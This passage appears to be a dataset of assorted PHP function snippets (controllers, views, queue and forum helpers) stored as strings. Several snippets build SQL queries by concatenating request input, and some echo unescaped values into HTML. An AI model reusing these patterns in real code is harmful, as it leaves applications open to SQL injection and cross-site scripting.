array(\n\t\t\t'post_id'\t\t\t\t=> $this->phpbb_post_id,\n\t\t\t'topic_title'\t\t\t=> $this->post_subject,\n\t\t\t'post_text'\t\t\t\t=> $post_text,\n\t\t);\n\n\t\tphpbb_posting('edit', $options);\n\t}", "public function showItemBody() {\n echo \"<form method=\\\"post\\\" enctype=\\\"multipart/form-data\\\">\";\n $resource_provider = $this->resource_provider;\n echo $this->item_body->execute();\n echo \"<input type=\\\"submit\\\" value=\\\"Submit response\\\"/>\";\n echo \"</form>\";\n }", "function string_summary()\n\t{\n\t\ttry{\n\t\t\tob_start();\n\t\t\tif(is_array($this->subtopics) && !empty($this->subtopics))\n\t\t\t{\n\t\t\t\t$subs = array_values($this->subtopics);\n\t\t\t\t$subsize = count($subs);\n\t\t\t\tforeach($subs AS $pos => $t)\n\t\t\t\t{\n\t\t\t\t\tprint(htmlentities($t->short_title!=''?$t->short_title:$t->title));\n\t\t\t\t\tif ($pos < ($subsize - 2)) print(', ');\n\t\t\t\t\telseif ($pos == ($subsize - 2)) print(' and ');\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn ob_get_clean();\n\t\t}\n\t\tcatch(Exception $e)\n\t\t{\n\t\t\treturn '<p class=\"error\">Topic listing failed</p>';\n\t\t}\n\t}", "public function getQueue();", "public function getQueue();", "public function index()\n {\n return view('queueExample');\n }", "abstract public function getQueueName();", "public function display_item_for_print() {\n \n $event_id = $this->input->post('event_id');\n\n\t\t$result = $this->db->query(\"SELECT hpp_category, hpp_subcategory, item_name, item_qty, item_satuan, item_price\n\t\t\t\t\t\t\t\t\t\t FROM events_hpp\n JOIN events_master ON events_master.id = events_hpp.master_id\n WHERE event_id = \" . $event_id . \"\n ORDER BY hpp_category, item_name ASC\");\n\n\t\t$attr = array(\n 'count_events_hpp' \t=> $result->num_rows(),\n 'events_hpp' => $result->result()\n\t\t\t\t\t);\n\n $this->load->view('analisa/print-laba-rugi-detail', $attr);\n \n }", "public static function print_inbox_row($thread_id)\n {\n echo \"DONE!\";\n }", "public function display()\n {\n $current = $this->head;\n while ($current != null) \n {\n echo $current->data->name.\" \";\n echo $current->data->share.\" \";\n echo $current->data->price;\n echo \"\\n\";\n $current = $current->next;\n }\n }", "public function getTopic();", "public function getTopic();", "public function getQueueName();", "public function show(SubTopic $subTopic)\n {\n //\n }", "public function show(Faq $faq)\n {\n //\n //pending\n //confirmed\n //delayed\n //canceled\n //completed\n }", "function tep_show_topic($counter) {\r\n global $tree, $topics_string, $tPath_array;\r\n\r\n if(!$counter)\r\n return 0;\r\n\r\n for ($i=0; $i<$tree[$counter]['level']; $i++) {\r\n $topics_string .= \"&nbsp;&nbsp;\";\r\n }\r\n\r\n if(empty($topics_string)){\r\n $topics_string .='<div class=\"margin\">';\r\n }\r\n\t$tab = '<div class=\"margin\">';\r\n if (!empty($topics_string) && $topics_string != $tab)\r\n\t{\r\n\t $topics_string .='';\r\n\t}\r\n\r\n\r\n\r\n if ($tree[$counter]['parent'] == 0) {\r\n $tPath_new = 'tPath=' . $counter;\r\n } else {\r\n $tPath_new = 'tPath=' . $tree[$counter]['path'];\r\n }\r\n\r\n $topics_string .= '<div style=\"width:75\" class=\"lef_4\" style=\"text-decoration:none\"><strong>';\r\n\r\n if (isset($tPath_array) && in_array($counter, $tPath_array)) {\r\n $topics_string .= '';\r\n }\r\n\r\n// display topic name\r\n\r\n\r\n $topics_string .= $tree[$counter]['name'].'</div>';\r\n\r\n if (isset($tPath_array) && in_array($counter, $tPath_array)) {\r\n// $topics_string .= '</b>';\r\n }\r\n\r\n if (tep_has_topic_subtopics($counter)) {\r\n $topics_string .= ' -&gt;';\r\n }\r\n\r\n $topics_string .= '</strong><br><a href=\"'.tep_href_link(FILENAME_ARTICLES, $tPath_new).'\">'.preg_replace('/\\s\\S*$/i', '', substr($tree[$counter]['description'], 0, 60)).'</a>';\r\n\r\n if (SHOW_ARTICLE_COUNTS == 'true') {\r\n $articles_in_topic = tep_count_articles_in_topic($counter);\r\n if ($articles_in_topic > 0) {\r\n //$topics_string .= '&nbsp;(' . $articles_in_topic . ')';\r\n }\r\n }\r\n if ($tree[$counter]['next_id'] != false) {\r\n //tep_show_topic($tree[$counter]['next_id']);\r\n }\r\n }", "function getQueue($id);", "public function infoCommand($queueName)\n {\n $queue = $this->jobManager->getQueueManager()->getQueue($queueName);\n $options = $queue->getOptions();\n\n $this->outputFormatted('Information for queue \"%s\"...', [$queueName]);\n $this->outputFormatted('<b>Class:</b> %s', [get_class($queue)]);\n\n if (is_array($options) && !empty($options)) {\n foreach ($options as $key => $value) {\n $this->outputFormatted('<b>%s:</b> %s', [ucfirst($key), ($value === null) ? 'null': $value]);\n }\n }\n }", "public function do_viewtask()\n\t{\n\t\tif ( isset( $_REQUEST[ 'task_id' ] ) )\n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\t$task = Task::load( $_REQUEST[ 'task_id' ] );\n\t\t\t}\n\t\t\tcatch( \\OutOfRangeException $e )\n\t\t\t{\n\t\t\t\t$task = NULL;\n\t\t\t}\n\t\t}\n\t\t\n\t\techo $this->getPlugin()->getTemplateContent( 'views/management/task-item', array( 'task' => $task ) );\n\t}", "public function execute()\n {\n $resultPage = $this->_resultPageFactory->create();\n /**\n * Set active menu item\n */\n $resultPage->setActiveMenu('Magento_BizConnect::bizconnect_queueitem');\n $resultPage->getConfig()->getTitle()->prepend(__('Queue Items'));\n\n /**\n * Add breadcrumb item\n */\n $resultPage->addBreadcrumb(__('QueueItems'), __('QueueItems'));\n $resultPage->addBreadcrumb(__('Manage QueueItems'), __('Manage QueueItems'));\n\n return $resultPage;\n }", "public function showComplete(){\n\t\t\n\t\t//our tasks\n\t\t$this->set('tasks', $this->Task->find('all', array(\n\t\t\t'conditions' => array('Task.status_id' => '2'),\n\t\t\t'order' => array('Task.completed_on'),\n\t\t)));\n\t\t\n\t\t//our statuses\n\t\t$this->set('statuses', $this->Task->Status->find('list'));\n\t\t\n\t\t//our locations\n\t\t$this->set('locations', $this->Task->Location->find('list'));\n\t\t\n\t\t//our keywords\n\t\t$this->set('keywords', $this->Task->Keyword->find('list'));\n\t\t\n\t\t//our link locations\n\t\t$linkLocation['/foundersFactory/tasks/'] = \"Show by Location\";\n\t\tforeach($this->Task->Location->find('list') as $key => $location){\n\t\t\t$linkLocation['/foundersFactory/tasks/showByLocation/'.$key] = $location;\n\t\t}\n\t\t$this->set('linkLocations', $linkLocation);\n\t}", "public function getTopic()\n {\n return $this->_topic;\n }", "public function display()\n\t{\n\t\t$this->list_table->prepare_items( $this->orderby );\n\n\t\t$this->form_start_get( 'process-all-items', null, 'process-all-items' );\n\t\t\t?><button>Process All Items</button><?php\n\t\t$this->form_end();\n\t\t\n\t\t$this->form_start_get( 'clear', null, 'clear' );\n\t\t\t?><button>Clear Items</button><?php\n\t\t$this->form_end();\n\n\t\t$this->form_start( 'upload-table' );\n\t\t\t$this->list_table->display();\n\t\t$this->form_end();\n\t}", "public function get_queue()\n\t\t{\n\t\t\treturn $this->queue;\n\t\t}", "function show()\n {\n $messages = $this->Session->read( 'messages' );\n $html = '';\n \n // Add a div for each message using the type as the class\n foreach ($messages as $type => $msgs)\n {\n foreach ($msgs as $msg)\n {\n if (!empty($msg)) {\n $html .= \"<div class='$type'><p>$msg</p></div>\";\n } \n }\n }\n $html .= \"</div>\";\n \n // Clear the messages array from the session\n $this->Session->del( 'messages' );\n \n return $this->output( $html );\n }", "public function getList()\n {\n return $this->returnText('Full list of users and queues can be found here: https://nbq.2g.be/'. $this->c->id .'/'. urlencode($this->c->displayName) .' ');\n }", "function showquestionAction() {\n\t\t\n\t\t// $questionId = $this->getRequest()->getParam('questionid');\n\t\t// echo $questionId;\n\t\t$em = Zend_Registry::get('em');\n\t\t\n\t\t$questionId = $this->getRequest()->getParam('questionid');\n $questionName = '';\n if(isset($questionId) && $questionId > 0 ) {\n $res = $em->createQueryBuilder()->select('q.QUE_Data')\n ->from('Testcreator_Model_Question', 'q')\n ->where('q.QuestionId='.$questionId)->getQuery();\n\n $question = $res->getResult();\n if(is_array($question) && count($question) >0) {\n $questionName = $question[0]['QUE_Data'];\n } else {\n $questionName = \"Data has been deleted from master \";\n }\n }\n echo $questionName;\n\t\texit;\n\t}", "public function dequeue();", "public function consumeItemFromQueue(){\n $record = $this->storageEngine->getNextQueueItemToProcess();\n if($record){\n return $record;\n }\n return -1; //will cause the worker to sleep\n }", "public function __toString()\n {\n return sprintf(\n '%s:%s#%s(%s)',\n $this->queue,\n $this->class,\n $this->id,\n empty($this->data) ? '' : json_encode($this->data)\n );\n }", "public function sidebarAction()\n {\n return $this->templating->renderResponse('ProcessingBundle:Index:sidebar.html.twig', array(\n 'queues' => $this->processor->listQueues()\n ));\n\n }", "function show()\n {\n \t$this->out->elementStart('ol', array('id' => 'notices', 'class' => 'noavatar'));\n $cnt = 0;\n\n while ($this->notice != null \n \t&& $this->notice->fetch() && $cnt <= MESSAGES_PER_PAGE) {\n $cnt++;\n \n if ($cnt > MESSAGES_PER_PAGE) {\n break;\n }\n \n $item = $this->newListItem($this->notice);\n $item->show();\n }\n \n if (0 == $cnt) {\n $this->out->showEmptyList();\n }\n \n $this->out->elementEnd('ol');\n }", "public function show(Topic $topic)\n {\n return $topic;\n }", "function displayMessageRow( $item ){\n $listing_title = '';\n\n // show errors and warning on online and failed items\n if ( in_array( $item['status'], array( 'online', 'failed' ) ) ) {\n\n $history = maybe_unserialize( $item['history'] );\n $tips_errors = array();\n $tips_warnings = array();\n if ( is_array( $history ) ) {\n foreach ( $history['errors'] as $feed_error ) {\n $tips_errors[] = WPLA_FeedValidator::formatAmazonFeedError( $feed_error );\n }\n foreach ( $history['warnings'] as $feed_error ) {\n $tips_warnings[] = WPLA_FeedValidator::formatAmazonFeedError( $feed_error );\n }\n }\n if ( ! empty( $tips_errors ) ) {\n $listing_title .= '<!br><small style=\"color:darkred\">'.join('<br>',$tips_errors).'</small><br>';\n }\n if ( ! empty( $tips_warnings ) ) {\n $listing_title .= '<small><!br><a href=\"#\" onclick=\"jQuery(\\'#warnings_container_'.$item['id'].'\\').slideToggle();return false;\">&raquo; '.''.sizeof($tips_warnings).' warning(s)'.'</a></small><br>';\n $listing_title .= '<div id=\"warnings_container_'.$item['id'].'\" style=\"display:none\">';\n $listing_title .= '<small>'.join('<br>',$tips_warnings).'</small>';\n $listing_title .= '</div>';\n }\n\n }\n\n // show listing quality issues on online and changed items\n if ( in_array( $item['status'], array( 'online', 'changed', 'prepared' ) ) ) {\n\n $quality_info = maybe_unserialize( $item['quality_info'] );\n if ( is_array( $quality_info ) ) {\n\n $quality_warning_title = $quality_info['alert-type'];\n if ( $quality_warning_title == 'Missing' ) $quality_warning_title .= ' ' . $quality_info['field-name'];\n\n $error_msg = '<b>Warning: '.$quality_warning_title.'</b>';\n $error_msg .= '<br>'.$quality_info['explanation'];\n\n if ( ! empty( $quality_info['current-value'] ) ) {\n $error_msg .= '<br>'.$quality_info['field-name'].': '.$quality_info['current-value'].' ';\n }\n\n if ( ! empty( $quality_info['status'] ) ) {\n $error_msg .= '<br>Status: '.$quality_info['status'].' ('.$quality_info['alert-name'].')';\n }\n $error_msg = WPLA_FeedValidator::convert_links( $error_msg );\n\n $listing_title .= '<small style=\"color:darkred\">'.$error_msg.'</small><br>';\n }\n\n }\n\n if ( empty($listing_title) ) return;\n\n echo '</tr>';\n echo '<tr>';\n // echo '<td colspan=\"'.sizeof( $this->_column_headers[0] ).'\">';\n\n // echo '<td>&nbsp;</td>';\n // echo '<td class=\"wpla_auto_width_column\" colspan=\"7\">';\n // echo $listing_title;\n // echo '</td>';\n // echo '<td>&nbsp;</td>';\n\n // get hidden columns for current user - and adjust colspan attribute on message row\n $user = wp_get_current_user();\n $meta = get_user_meta( $user->ID );\n $hidden_cols = isset( $meta['managetoplevel_page_wplacolumnshidden'][0] ) ? maybe_unserialize( $meta['managetoplevel_page_wplacolumnshidden'][0] ) : array();\n $colspan = 10 - count( $hidden_cols );\n\n echo '<td>&nbsp;</td>';\n echo '<td colspan=\"'.$colspan.'\">';\n echo $listing_title;\n echo '</td>';\n echo '<td>&nbsp;</td>';\n\n }", "function display($tpl = NULL) {\n $items = $this->get('Items');\n\n $this->canDo = LajvITHelper::getEventActions();\n\n if (count($errors = $this->get('Errors'))) {\n JError::raiseError(500, implode('<br />', $errors));\n return FALSE;\n }\n\n $this->items = $items;\n\n $this->addToolBar();\n parent::display($tpl);\n $this->setDocument();\n }", "public function topic($flag = NULL) {\n $incomingFormData = $this->readHttpRequest();\n $formData = json_decode($incomingFormData);\n $TopicList = $this->Coursematerial_model->getTopicList($formData);\n\n if ($flag == 1) {\n return $TopicList;\n }\n echo json_encode($TopicList);\n }", "public function displayTask()\n\t{\n\t\t// Get filters\n\t\t$filters = array(\n\t\t\t'component' => urldecode(Request::getState(\n\t\t\t\t$this->_option . '.' . $this->_controller . '.component',\n\t\t\t\t'component',\n\t\t\t\t''\n\t\t\t)),\n\t\t\t'sort' => Request::getState(\n\t\t\t\t$this->_option . '.' . $this->_controller . '.sort',\n\t\t\t\t'filter_order',\n\t\t\t\t'c.name'\n\t\t\t),\n\t\t\t'sort_Dir' => Request::getState(\n\t\t\t\t$this->_option . '.' . $this->_controller . '.sortdir',\n\t\t\t\t'filter_order_Dir',\n\t\t\t\t'ASC'\n\t\t\t),\n\t\t\t// Get paging variables\n\t\t\t'limit' => Request::getState(\n\t\t\t\t$this->_option . '.' . $this->_controller . '.limit',\n\t\t\t\t'limit',\n\t\t\t\tConfig::get('list_limit'),\n\t\t\t\t'int'\n\t\t\t),\n\t\t\t'start' => Request::getState(\n\t\t\t\t$this->_option . '.' . $this->_controller . '.limitstart',\n\t\t\t\t'limitstart',\n\t\t\t\t0,\n\t\t\t\t'int'\n\t\t\t)\n\t\t);\n\n\t\t$obj = Message\\Component::blank();\n\n\t\t// Get a record count\n\t\t$total = $obj->getCount($filters, true);\n\n\t\t// Get records\n\t\t$rows = $obj->getRecords($filters, true);\n\n\t\t$components = $obj->getComponents();\n\n\t\t// Output the HTML\n\t\t$this->view\n\t\t\t->set('filters', $filters)\n\t\t\t->set('total', $total)\n\t\t\t->set('rows', $rows)\n\t\t\t->set('components', $components)\n\t\t\t->display();\n\t}", "public function viewtopicAction($thread_id){\n\t\t$per_page = 20;\n\n\t\t# Chargement du manager\n\t\t$this->load_manager('forum', 'base_app');\n\n\t\t# On commpte le nombre de message\n\t\t$NbMessage = $this->app->db->count(PREFIX . 'forum_message', array('thread_id =' => $thread_id));\n\n\t\t# On recupere les messages\n\t\t$Messages = $this->manager->forum->getMessagesByThreadId($thread_id, $per_page, getOffset($per_page));\n\n\t\t# Recuperation infos topic\n\t\t$Thread = new Basethread($this->app->db->get_one(PREFIX . 'forum_thread', array('id =' => $thread_id)));\n\n\t\t# On traite la pagination\n\t\t$Pagination = new Zebra_Pagination();\n\t\t$Pagination->records($NbMessage);\n\t\t$Pagination->records_per_page($per_page);\n\n\t\tif( $this->isModerateur() == true ):\n\t\t\t$this->app->smarty->assign('Forums', $this->manager->forum->getAllForums());\n\t\tendif;\n\t\t\n\t\t# Envoie a smarty\n\t\t$this->app->smarty->assign(array(\n\t\t\t'ctitre'\t\t=>\t'Forum :: ' . $Thread->titre,\n\t\t\t'Messages'\t\t=>\t$Messages,\n\t\t\t'Thread'\t\t=>\t$Thread,\n\t\t\t'Pagination'\t=>\t$Pagination,\n\t\t\t'Forum'\t\t\t=>\tnew myObject( $this->app->db->get_one(PREFIX . 'forum', array('id =' => $Thread->forum_id)) )\n\t\t));\n\n\t\tif( $_SESSION['utilisateur']['id'] != 'Visiteur' ):\n\t\t\t$this->getFormValidatorJs();\n\n\t\t\t$this->app->load_web_lib('markitup/skins/simple/style.css','css');\n\t\t\t$this->app->load_web_lib('markitup/bbcode/style.css','css');\n\t\t\t$this->app->load_web_lib('markitup/jquery.markitup.js','js');\n\t\t\t$this->app->load_web_lib('markitup/bbcode/set.js','js');\n\t\tendif;\n\t\t\n\t\t# Generation de la page\n\t\treturn $this->app->smarty->fetch(BASE_APP_PATH . 'view' . DS . 'forum' . DS . 'viewtopic.tpl');\n\n\t}", "function showThreadsObject()\n\t{\n\t\t$this->tpl->setRightContent($this->getRightColumnHTML());\n\t\t$this->getCenterColumnHTML();\n\t}", "function show()\r\n\t{\r\n\t\t?>\r\n\r\n\t\t<button class='textlayout' type=\"submit\" name=\"itemtoedit\" value=\"<?php echo $this->orderno ?>\" >\r\n\t\t\t<p>\r\n\t\t\t<span style='font-weight:bold'><?php echo $this->orderno . \". \" . $this->question ; ?></span>\r\n\t\t\t<span style='font-weight:normal'>(<?php echo $this->typeshort; ?>)</span><br>\r\n\t\t\t<span><?php $n = 1; foreach($this->answers as $answerobject){if ($n > 1){echo \", \";}$n ++;echo $answerobject->answer;}?></span>\r\n\t\t\t</p>\r\n\t\t</button><br>\r\n\t\t\r\n\t\t<?php \r\n\t}", "public function getCurrentTopicDetail()\n {\n \n $topicData = $this->_coreRegistry->registry('current_topic');\n return $topicData ? $topicData : false;\n }", "public function showAction()\n {\n $this->view->title = ' - Thema';\n \n $id = (int)$this->getRequest()->getParam('id'); \t\t//topicID from the URL\n \n $topics = new topicModel();\t\t\t\t\t//loads table 'topics'\n $comments = new commentModel();\t\t\t\t\t//loads table 'comment'\n \n if($topics->fetchRow('topicID='.$id) == 0)\t\t\t//avoids access to a topic whitch doesn't exist\n {\n $this->_redirect('/');\t\t\t\t\t//goes to mainpage\n }\n else\n {\n $this->view->topics = $topics->fetchRow('topicID='.$id);\t//sends one topic with topicID = $id\n $this->view->comments = $comments->fetchAll(\n\t $comments->select()\t\t\t\t\t//sends comments\n ->where('topicID='.$id)\t\t\t//with topicID = $id\n ->order('commentDate DESC')\t\t\t//sorted in descending order by date\n ->limit(2, 0)\t\t\t\t\t//limited to two comments\n );\n }\n }", "public function no_items() {\n\n\t\t\t_e( 'No items avaliable.', 'js_topic_manager' );\n\n\t\t}", "function ftopics() {\n global $sql;\n \n $qry = $sql->select(\"SELECT s1.*,s2.`kattopic`,s2.`id` as `subid` \"\n . \"FROM `{prefix_forumthreads}` as `s1`, `{prefix_forumsubkats}` as `s2`, {prefix_forumkats} as `s3` \"\n . \"WHERE s1.`kid` = s2.`id` AND s2.`sid` = s3.`id` ORDER BY s1.`lp` DESC LIMIT 100;\");\n\n $f = 0; $ftopics = '';\n if($sql->rowCount()) {\n foreach($qry as $get) {\n if($f == settings::get('m_ftopics')) { break; }\n if(fintern($get['kid'])) {\n $lp = cnt(\"{prefix_forumposts}\", \" WHERE `sid` = ?\",\"id\",array($get['id']));\n $pagenr = ceil($lp/settings::get('m_fposts'));\n $page = !$pagenr ? 1 : $pagenr;\n $info = !settings::get('allowhover') == 1 ? '' : 'onmouseover=\"DZCP.showInfo(\\''.jsconvert(stringParser::decode($get['topic'])).'\\', \\''.\n _forum_kat.';'._forum_posts.';'._forum_lpost.'\\', \\''.stringParser::decode($get['kattopic']).';'.++$lp.';'.\n date(\"d.m.Y H:i\", $get['lp'])._uhr.'\\')\" onmouseout=\"DZCP.hideInfo()\"';\n \n $ftopics .= show(\"menu/forum_topics\", array(\"id\" => $get['id'],\n \"pagenr\" => $page,\n \"p\" => $lp,\n \"titel\" => cut(stringParser::decode($get['topic']),settings::get('l_ftopics')),\n \"info\" => $info,\n \"kid\" => $get['kid']));\n $f++;\n }\n }\n }\n\n return empty($ftopics) ? '<center style=\"margin:2px 0\">'._no_entrys.'</center>' : '<table class=\"navContent\" cellspacing=\"0\">'.$ftopics.'</table>';\n}", "function printManageTopicBlock($topicID) {\n\t\tglobal $DB, $menuvar, $safs_config;\n\n\t\t$returnVar = \"\n\t\t\t\t\t\t\t<div id=\\\"manageTopicBlock\\\">\n\t\t\t\t\t\t\t\t<span id=\\\"lockTopicMessage\\\"></span>\n\t\t\t\t\t\t\t\t<ul>\n\t\t\t\t\t\t\t\t\t<li>\n\t\t\t\t\t\t\t\t\t\t<form action=\\\"\" . $menuvar['MOVETOPIC'] . \"&id=\" . $topicID . \"\\\" method=\\\"post\\\">\n\t\t\t\t\t\t\t\t\t\t\t\" . createDropdown(\"forums\", \"forum_id\", getForumIDByTopicID($topicID)) . \"\n\t\t\t\t\t\t\t\t\t\t\t<input type=\\\"submit\\\" name=\\\"submit\\\" value=\\\"Move Topic\\\" />\n\t\t\t\t\t\t\t\t\t\t</form>\n\t\t\t\t\t\t\t\t\t</li>\n\t\t\t\t\t\t\t\t\t<li class=\\\"lockButton\\\"><a href=\\\"\\\" onclick=\\\"lockTopic('lock', \" . $topicID . \"); return false;\\\"><span>Lock Topic</span></a></li>\n\t\t\t\t\t\t\t\t\t<li class=\\\"deleteButton\\\"><a href=\\\"\" . $menuvar['DELETETOPIC'] . \"&id=\" . $topicID . \"\\\"><span>Delete Topic</span></a></li>\n\t\t\t\t\t\t\t\t</ul>\n\t\t\t\t\t\t\t</div>\";\n\t\t\n\t\t// Return the HTML\n\t\treturn $returnVar;\n\t}", "public function display_item() {\n\n\t\t$id = $this->input->post('id');\n\t\t$event_id = $this->input->post('event_id');\n\n\t\t$result = $this->db->query(\"SELECT id, item_name, item_qty, item_price\n\t\t\t\t\t\t\t\t\t\t FROM events_hpp\n\t\t\t\t\t\t\t\t\t\t WHERE event_id = \" . $event_id . \"\n\t\t\t\t\t\t\t\t\t\t AND master_id = \" . $id);\n\n\t\t$attr = array(\n\t\t\t\t\t\t'count_events_hpp' \t=> $result->num_rows(),\n\t\t\t\t\t\t'events_master'\t=> $this->db->query(\"SELECT id, hpp_category, hpp_subcategory\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tFROM events_master\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tWHERE id = \" . $id)->row_array(),\n\t\t\t\t\t\t'event_id'\t\t=> $event_id\n\t\t\t\t\t);\n\n\t\t$this->load->view('analisa/display-item', $attr);\n\n\t}", "private function printItems()\n\t{ \n\t\tforeach ($this->items as $item) \n\t\t{\n\t\t\t$thisItems = $item->get_elements();\n\t\t\t\n\t\t\t//the argument is printed as rdf:about attribute of item in rss 1.0 \n\t\t\techo $this->startItem($thisItems['link']['content']);\n\t\t\t\n\t\t\tforeach ($thisItems as $zajlib_feed_item ) \n\t\t\t{\n\t\t\t\techo $this->makeNode($zajlib_feed_item['name'], $zajlib_feed_item['content'], $zajlib_feed_item['attributes']); \n\t\t\t}\n\t\t\techo $this->endItem();\n\t\t}\n\t}", "public function pop() \n {\n $log = FezLog::get();\n $db = DB_API::get();\n \n // fetch first row\n $sql = \"SELECT * FROM \".$this->_dbtp.\"queue \".\n \"ORDER BY \".$this->_dbqp.\"key ASC\";\n $db->limit($sql, 1, 0);\n \n try {\n $res = $db->fetchRow($sql, array(), Zend_Db::FETCH_ASSOC);\n }\n catch(Exception $ex) {\n $log->err($ex);\n return null;\n }\n\n if (count($res) == 0) {\n $log->debug(\"Queue is empty.\");\n return null;\n }\n \n // delete row\n $sql = \"DELETE FROM \".$this->_dbtp.\"queue WHERE \".$this->_dbqp.\"key=?\"; \n try {\n $db->query($sql, $res[$this->_dbqp.'key']);\n }\n catch(Exception $ex) {\n $log->err($ex);\n return null;\n }\n \n $log->debug(\"Queue pop success!\");\n return $res;\n }", "public function rss_topic()\n\t{\n\t\tif (!$this->id)\n\t\t{\n\t\t\tDisplay::message('not_allowed');\n\t\t}\n\n\t\t// Liste des messages\n\t\t$sql = 'SELECT p.p_id, p.p_text, p.p_time, p.u_id, p.p_nickname, p.p_map, t.t_title, t.t_description, t.f_id, t.t_id, u.u_activate_email, u.u_email, u.u_auth\n\t\t\t\tFROM ' . SQL_PREFIX . 'posts p\n\t\t\t\tINNER JOIN ' . SQL_PREFIX . 'topics t\n\t\t\t\t\tON p.t_id = t.t_id\n\t\t\t\tLEFT JOIN ' . SQL_PREFIX . 'users u\n\t\t\t\t\tON u.u_id = p.u_id\n\t\t\t\tWHERE t.t_id = ' . $this->id . '\n\t\t\t\t\tAND p.p_approve = 0\n\t\t\t\tORDER BY p.p_time DESC';\n\t\t$result = Fsb::$db->query($sql);\n\t\tif ($row = Fsb::$db->row($result))\n\t\t{\n\t\t\tif (!Fsb::$session->is_authorized($row['f_id'], 'ga_read') || !Fsb::$session->is_authorized($row['f_id'], 'ga_view') || !Fsb::$session->is_authorized($row['f_id'], 'ga_view_topics'))\n\t\t\t{\n\t\t\t\tDisplay::message('not_allowed');\n\t\t\t}\n\n\t\t\t$parser = new Parser();\n\t\t\t$parser->parse_html = (Fsb::$cfg->get('activate_html') && $row['u_auth'] >= MODOSUP) ? true : false;\n\n\t\t\t$this->rss->open(\n\t\t\t\tParser::title($row['t_title']),\n\t\t\t\thtmlspecialchars(($row['t_description']) ? $row['t_description'] : $parser->mapped_message($row['p_text'], $row['p_map'])),\n\t\t\t\tFsb::$session->data['u_language'],\n\t\t\t\tsid(Fsb::$cfg->get('fsb_path') . '/index.' . PHPEXT . '?p=rss&amp;mode=topic&amp;id=' . $this->id),\n\t\t\t\t$row['p_time']\n\t\t\t);\n\n\t\t\tdo\n\t\t\t{\n\t\t\t\t// Informations passees au parseur de message\n\t\t\t\t$parser_info = array(\n\t\t\t\t\t'u_id' =>\t\t\t$row['u_id'],\n\t\t\t\t\t'p_nickname' =>\t\t$row['p_nickname'],\n\t\t\t\t\t'u_auth' =>\t\t\t$row['u_auth'],\n\t\t\t\t\t'f_id' =>\t\t\t$row['f_id'],\n\t\t\t\t\t't_id' =>\t\t\t$row['t_id'],\n\t\t\t\t);\n\t\t\t\t$parser->parse_html = (Fsb::$cfg->get('activate_html') && $row['u_auth'] >= MODOSUP) ? true : false;\n\n\t\t\t\t$this->rss->add_entry(\n\t\t\t\t\tParser::title($row['t_title']),\n\t\t\t\t\thtmlspecialchars($parser->mapped_message($row['p_text'], $row['p_map'], $parser_info)),\n\t\t\t\t\t(($row['u_activate_email'] & 2) ? 'mailto:' . $row['u_email'] : Fsb::$cfg->get('forum_mail')) . ' ' . htmlspecialchars($row['p_nickname']),\n\t\t\t\t\tsid(Fsb::$cfg->get('fsb_path') . '/index.' . PHPEXT . '?p=topic&p_id=' . $row['p_id'] . '#p' . $row['p_id']),\n\t\t\t\t\t$row['p_time']\n\t\t\t\t);\n\t\t\t}\n\t\t\twhile ($row = Fsb::$db->row($result));\n\t\t}\n\t\t// Aucun message, on pioche donc directement les informations dans le sujet\n\t\telse \n\t\t{\n\t\t\t$sql = 'SELECT t_id, t_title, t_description, t_time\n\t\t\t\t\tFROM ' . SQL_PREFIX . 'topics\n\t\t\t\t\tWHERE t_id = ' . $this->id;\n\t\t\t$row = Fsb::$db->request($sql);\n\t\t\t$this->rss->open(\n\t\t\t\tParser::title($row['t_title']),\n\t\t\t\thtmlspecialchars($row['t_description']),\n\t\t\t\tFsb::$session->data['u_language'],\n\t\t\t\tsid(Fsb::$cfg->get('fsb_path') . '/index.' . PHPEXT . '?p=rss&amp;mode=topic&amp;id=' . $this->id),\n\t\t\t\t$row['t_time']\n\t\t\t);\n\t\t}\n\t}", "public function actionSingle() {\n// $conn = $amqp->Connection();\n// $channel = $amqp->Channel($conn);\n// $amqp->Exchange($conn, $channel);\n// $amqp->Queue($channel);\n }", "function DisplayTopicForm()\n {\n global $DB, $userinfo;\n\n if(!$this->conf->forum_arr['forum_id'])\n {\n // user is trying to break the script\n $this->conf->RedirectPageDefault('<strong>'.$this->conf->plugin_phrases_arr['err_invalid_forum_id'] . '</strong>',true);\n return;\n }\n\n $content = GetVar('forum_post', '', 'string', true, false);\n $title = GetVar('forum_topic_title', '', 'string', true, false);\n $sticky = GetVar('stick_topic', 0, 'bool', true, false)?1:0;\n $closed = GetVar('closed', 0, 'bool', true, false)?1:0;\n $moderate = GetVar('moderate_topic', 0, 'bool', true, false)?1:0;\n $prefix_id = GetVar('prefix_id', 0, 'whole_number', true, false);\n $tags = GetVar('tags', '', 'string', true, false);\n\n //SD343: display prefixes available to user (based on sub-forum/usergroup)\n require_once(SD_INCLUDE_PATH.'class_sd_tags.php');\n $tconf = array(\n 'elem_name' => 'prefix_id',\n 'elem_size' => 1,\n 'elem_zero' => 1,\n 'chk_ugroups' => !$this->conf->IsSiteAdmin,\n 'pluginid' => $this->conf->plugin_id,\n 'objectid' => 0,\n 'tagtype' => 2,\n 'ref_id' => 0,\n 'allowed_id' => $this->conf->forum_id,\n 'selected_id' => $prefix_id,\n );\n\n echo '\n <h2>' . $this->conf->forum_arr['title'] . '</h2>\n <form '.($this->conf->IsSiteAdmin || $this->conf->IsAdmin || $this->conf->IsModerator ? 'id=\"forum-admin\" ':'').\n 'action=\"' . $this->conf->current_page . '\" enctype=\"multipart/form-data\" method=\"post\">\n '.PrintSecureToken(FORUM_TOKEN).'\n <input type=\"hidden\" name=\"forum_action\" value=\"insert_topic\" />\n <input type=\"hidden\" name=\"forum_id\" value=\"'.$this->conf->forum_arr['forum_id'].'\" />\n <div class=\"form-wrap\">\n <h2 style=\"margin:4px\">'.$this->conf->plugin_phrases_arr['new_topic'].'</h2>\n <p style=\"margin:8px 4px 0px 4px\">\n <label>'.$this->conf->plugin_phrases_arr['topic_title'].'</label>\n <input type=\"text\" name=\"forum_topic_title\" value=\"'.$title.'\" /></p>\n ';\n\n DisplayBBEditor(SDUserCache::$allow_bbcode, 'forum_post', $content, FORUM_REPLY_CLASS, 80, 10);\n\n $out = '\n <fieldset>';\n\n $prefix = SD_Tags::GetPluginTagsAsSelect($tconf);\n if(strlen($prefix))\n {\n $out .= '\n <p style=\"padding-top:10px\">\n <label for=\"prefix_id\">\n '.$this->conf->plugin_phrases_arr['topic_prefix'].'\n '.$prefix.'</label></p>';\n }\n\n if($this->conf->IsSiteAdmin || 